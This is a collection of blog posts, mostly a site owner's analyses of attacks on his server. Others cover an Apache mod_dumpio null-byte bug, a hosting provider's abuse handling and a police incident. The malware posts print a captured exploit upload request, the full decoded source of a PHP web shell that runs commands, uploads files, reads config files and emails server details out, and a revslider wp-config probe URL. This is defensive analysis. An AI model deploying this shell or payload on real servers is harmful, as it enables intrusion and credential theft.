I first noticed this when I decided to decode the content that malware hackers were attempting to send (e.g., upload) to my web server. I had no difficulty decoding the base64 encoded data that was typical for PHP malware. I had zero success decoding the application/zip encoded data typical for an attempt to exploit the WordPress revslider plugin vulnerabilities. This was not entirely surprising given that mod_dumpio reported that the client said it was sending x bytes yet the data logged by mod_dumpio was much smaller than x bytes in length.

Comparing the data from those attacks to a Zip archive I created showed that the mod_dumpio data contained no null bytes. Something highly unlikely, perhaps impossible, for a legitimate Zip archive. As I mentioned earlier I confirmed this by deliberately sending a request that included null (zero) bytes and confirming that mod_dumpio did not log those bytes.

Time for me to look at the mod_dumpio code and see if I can fix it and convince the Apache community to accept my fix.

Update 2015-09-24:
Shortly after writing the previous sentence I looked at the dumpio.c file and found this comment in the dumpit function:

  /* XXX: Seriously flawed; we do not pay attention to embedded
   * \0's in the request body, these should be escaped; however,
   * the logging function already performs a significant amount
   * of escaping, and so any escaping would be double-escaped.
   * The coding solution is to throw away the current logic
   * within ap_log_error, and introduce new vformatter %-escapes
   * for escaping text, and for binary text (fixed len strings).
   */

The author of this Apache module knew they were omitting data from the log. I applaud them for documenting the fact. I’ve done the same thing many times in my career as a software programmer. Sometimes there just aren’t enough hours in a day to write perfect code. So I cannot hold the author of the module entirely responsible for the problem.

Searching Google returns references to this module as old as nine years ago. In the intervening time no one has felt the need to fix this issue. And that is something I find inexplicable. Surely many people have noticed this shortcoming of the module and yet none of them fixed the problem. To all of those people I say “shame on you.”

Update 2015-09-24:
OMFG! The problem is that the mod_dumpio.c module code calls ap_log_cerror() with a %.*s format. That function passes the format and arguments to apr_vsnprintf which, not surprisingly, treats the string referenced by the %.*s format as a null terminated string; even though it was passed a length argument. Which is to say it stops formatting characters when it sees the first null (zero) byte in the buffer.

The C language is the first one I fell in love with. I also hate it because it makes it too easy for seemingly smart programmers to ignore the difference between strings and binary buffers.

Update 2015-09-25: I spent a few minutes today looking at the Apache Portable Runtime (apr) library source code. Sadly not only does the apr_vnsprintf function (and its immediate dependencies) assume a null-terminated string so does apr_escape_echo function that performs the escaping. So simply introducing a new “%?” formatting code is insufficient. I’ve concluded that any patch to the APR library to handle printing, with escapes, fixed length buffers will be rejected. So instead I’m going to modify the mod_dumpio.c module to encode null characters. I’ll do this by co-opting another character (probably 0xFF) and use a prefix encoding scheme.
Update 2015-10-03: I’ve created a fix for this problem which you can read about [here](http://www.skepticism.us/2015/10/a-fix-for-the-apache-mod_dumpio-module-not-dumping-null-bytes/).

Analysis of attempt to exploit ninja-applications fufu controllers uploader vulnerability

Looking at my web server logs I noticed a new attack signature:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1

With user-agent libwww-perl/5.808

Note that my server was not infected because I use Apache mod_rewrite rules to reject malformed requests. In this case my rule against consecutive slashes caught the attack:

# A surprising amount of malware sends URIs with two leading slashes. While
# technically not illegal it is an extremely strong malware signal. No
# legitimate browser or web crawler would do that.
RewriteCond %{REQUEST_URI} !=/favicon.ico
RewriteCond %{THE_REQUEST} ^\S+\s+// [NC]
RewriteRule ^ /blocked.php [END,E=error-notes:invalid-uri]

Searching Google for that path turns up lots of matches on porn sites. Apparently this is a very popular piece of code in that industry. I did find one hit on the second result page:

google search result

[~] [Shell Upload:] Ninja Application File Upload Vulnerability ...
hackforums.net/showthread.php?tid=4993982
3 days ago - 3 posts - ‎2 authors
Today I Will Show You How To Upload Shell/File To Website Using ... Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.php.

Adding the word “vulnerability” to the search returned far fewer results. It looks like the earliest public discussion of this vulnerability is three weeks ago on 2015-09-02. And the few search results I looked were all aimed at telling other hackers how to exploit the vulnerability. So apparently this is a recently found security vulnerability and thus I suspect I’ll see many more attacks against this path in the future.

The contents of this particular attack were:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: libwww-perl/5.808
Content-Length: 1927
Content-Type: multipart/form-data; boundary=xYzZY

--xYzZY
Content-Disposition: form-data; name="file"; filename="myluph.jpg"
Content-Type: image/jpeg

GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?< ?php
set_time_limit(0);
error_reporting(0);

eval(gzinflate(str_rot13(base64_decode('zUlbQttVFH5eJP7DMBvJj…')))); ?>
--xYzZY
Content-Disposition: form-data; name="name"

myluph.php
--xYzZY--

The uploaded file is identified as a “GIF image data, version 89a, 16129 x 16129” by the UNIX file command. Replacing the eval with print and executing the file (it doesn’t matter if you leave the GIF header intact) via php -f myluph.jpg > myluph.php results in the content below in myluph.php. As you can see it’s a very basic backdoor. It allows for uploading arbitrary files, executing arbitrary shell commands, and has one special command “baca” to return the file ../../configuration.php. When invoked it sends email to jalangsaya@gmail.com with a subject line that begins “Hasil Bajakan” followed by information identifying the infected server.

if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/.libs.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF jalanG";}
else {$security= "SAFE_MODE : ON jalanG";}
echo "<title>jalanG</title><br>";
$dataku = "POWERED BY jalanG";
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER";
$dataku3 = "Contact Admin YM :ready.buyer";
echo "<font size=2 color=blue><b>".$dataku."</b><br>";
echo "<font size=2 color=red><b>".$dataku2."</b><br>";
echo "<font size=2 color=blue><b>".$dataku3."</b><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}

Bogel malware trying to create and run wp-xmlrpc.php

Update 2015-02-23: I saw the second instance of the attack described below from domain cyberneticos.com in Spain (ES) just 2.5 days after the first attack.

Yesterday, I saw a novel attack from 173.205.124.194 at domain inmotionhosting.com in the US. The malware made the following HTTP requests:

POST /2015/05/26//wp-indeks.php HTTP/1.1
POST //wp-indeks.php HTTP/1.1
POST /2015/05/26//wp-content.php?x0x HTTP/1.1
POST //wp-content.php?x0x HTTP/1.1

Each request had the same 255,782 byte payload that looks like (from the last attack listed above):

POST /2015/05/26//wp-content.php?x0x HTTP/1.1
Host: www.skepticism.us
Accept: */*
Content-Length: 255782
Expect: 100-continue
Content-Type: multipart/form-data; boundary=----------------------------3cc4c6faadfb

------------------------------3cc4c6faadfb
Content-Disposition: form-data; name="userfile"; filename="wp-xmlrpc.php"
Content-Type: application/octet-stream

<?php
/*
Ready : all spamtools :)
Ym : envir0nn
*/
$bogel = 'AAmA9n9cncdh7GC2Xud+ih4YuN3ggDnBMGOLOY…'
------------------------------3cc4c6faadfb
Content-Disposition: form-data; name="submit"

Upload
------------------------------3cc4c6faadfb--

Note that I have elided the 255 KB string assigned to $bogel.

The first observation is that this malware seems to be trying to exploit already installed malware in order to install itself. Once the new malware is uploaded I suspect the attacker would try to “GET /wp-xmlrpc.php” in order to execute its code.

The string assigned to $bogel is clearly an obfuscated PHP script. It is followed by statements to decode the obfuscated script and store the result in variable $iHiio and then execute it via return EvAl($iHiio).

Executing everything other than the final EvAl($iHiio); statement shows that $iHiio contains:

EvAl(StR_rOt13(gZInFlAtE(sTr_rOt13(GzinFLAte(Base64_DECOde($iiHiA))))));

The string to be eval’d is

error_reporting(0);
@set_time_limit(0);
$bogel = $_GET['cpanel'];
if (isset($bogel)) {
  eval(gzinflate(base64_decode('vVhtb9s2EP7cAPkPrGqM8ur…)));
  die;
}
eval(gzinflate(str_rot13(base64_decode('7P1sf+M4jjgO//3…))));

So this attack does one thing against WordPress installations that use cPanel (most likely on servers managed by companies that provide web or virtual server hosting) and something else against non-cPanel installations. The code executed by the cpanel branch is 5,288 bytes in length. The non-cpanel branch is 601,097 bytes long.

The attack against cPanel enabled sites starts by emitting some HTML, checking if PHP is running in safe mode and disable execution time limits:

echo '<html><head><title>[&#8224;] bogel - exploit [&#8224;]</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);

It then goes on to extract user names from /etc/passwd. For each user account it looks for passwords in various configuration files such as wp-config.php and manager.php in the directory /home/$user/public_html/. For each password it finds it attempts to login via the FTP protocol to localhost. If the login is successful it sends an email to mxbogel@gmail.com with the username and password.

I’m not going to dissect the entire 600 KB non-cpanel attack but will note a couple of interesting things. The code begins with a signature string containing “recky aka bogel” and the URI http://tools.bogel.co/. It installs some backdoors and creates a web page that displays information about the infected host and provides web forms to make it easy to upload arbitrary files and such. The web page it presents ends with “hidden” text. I say “hidden” because it hides the text by setting the text color to white which effectively makes it invisible unless you look at the HTML source for the page. That text is:

[&#8224;]   ./bogel | Jayalah Indonesia Ku | <a href="http://zone-h.org/archive/notifier=bogel" target="_blank">envir0nn@yahoo.com</a>   [&#8224;]

P.S., Something I didn’t realize (since I know practically nothing about PHP) until analyzing this attack is that PHP is case-insensitive with respect to function names. Which deserves a WTF was the author of this language thinking? I appreciate that they were striving to create a language that would allow non-professional programmers to write PHP programs. Nonetheless that sort of freedom to write RaNdOmShIt() and have it executed is counterproductive. I’m more convinced than ever that PHP needs to die.

Lunarpages.com is clueless regarding reports of abuse from its servers @lunarpages

This afternoon my web server was attacked by a server owned by lunarpages.com. I sent an email to their abuse address, hostmaster@lunarpages.com, as listed in their WhoIs data. My abuse report did not bounce but I did get the following reply:

Subject: Domain Name Not Hosted

Your message with the subject attack on my system from 67.210.104.80: HTTP 400 (probe-for-revslider-plugin) for GET /2015/05/new-malware-user-agent-value-jorgee/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php was not processed by our system, because we aren't hosting any of the email addresses it was addressed to: hostmaster@lunarpages.com abuse@lunarmania.com.

Please ensure you have the correct email address in your message.

So I went to their web page. You’ll notice that nowhere on that page is there a link for reporting abuse. The closest thing to it is “Submit a Ticket” under the “Support” menu pulldown at the top of the page. That option takes you to a web form asking for your Lunarpages account credentials.

Holy shit! I just found a cloud services/web hosting provider that is even more clueless than OVH.

America’s finest beat and arrest another innocent black juvenile male for jaywalking

You’ve got to read this article at TruthDig and watch the video contained within it. Unless someone is creating a safety problem there is no justification for harassing someone for jaywalking. This incident reminds me of the arrest of 9th grade student Ahmed Mohamed for bringing a digital clock he created to school that I wrote about since it incensed me enough to send an email to the Irving, TX police department. I’m going to do the same thing about this incident. In fact, I’m going to suggest they implement an officer-exchange program so each department can learn from the other about how to behave without repercussion in ways that would get any non-officer of the law arrested (probably after being beaten).

I also observed two police officers hassling a black man sitting at a bus stop on my way home from the supermarket this afternoon. The man appeared to be clean, sober, and doing absolutely nothing that would warrant police interrogating him. I’ve got to say that even as a middle-aged white male I’m no longer willing to give the police the benefit of the doubt.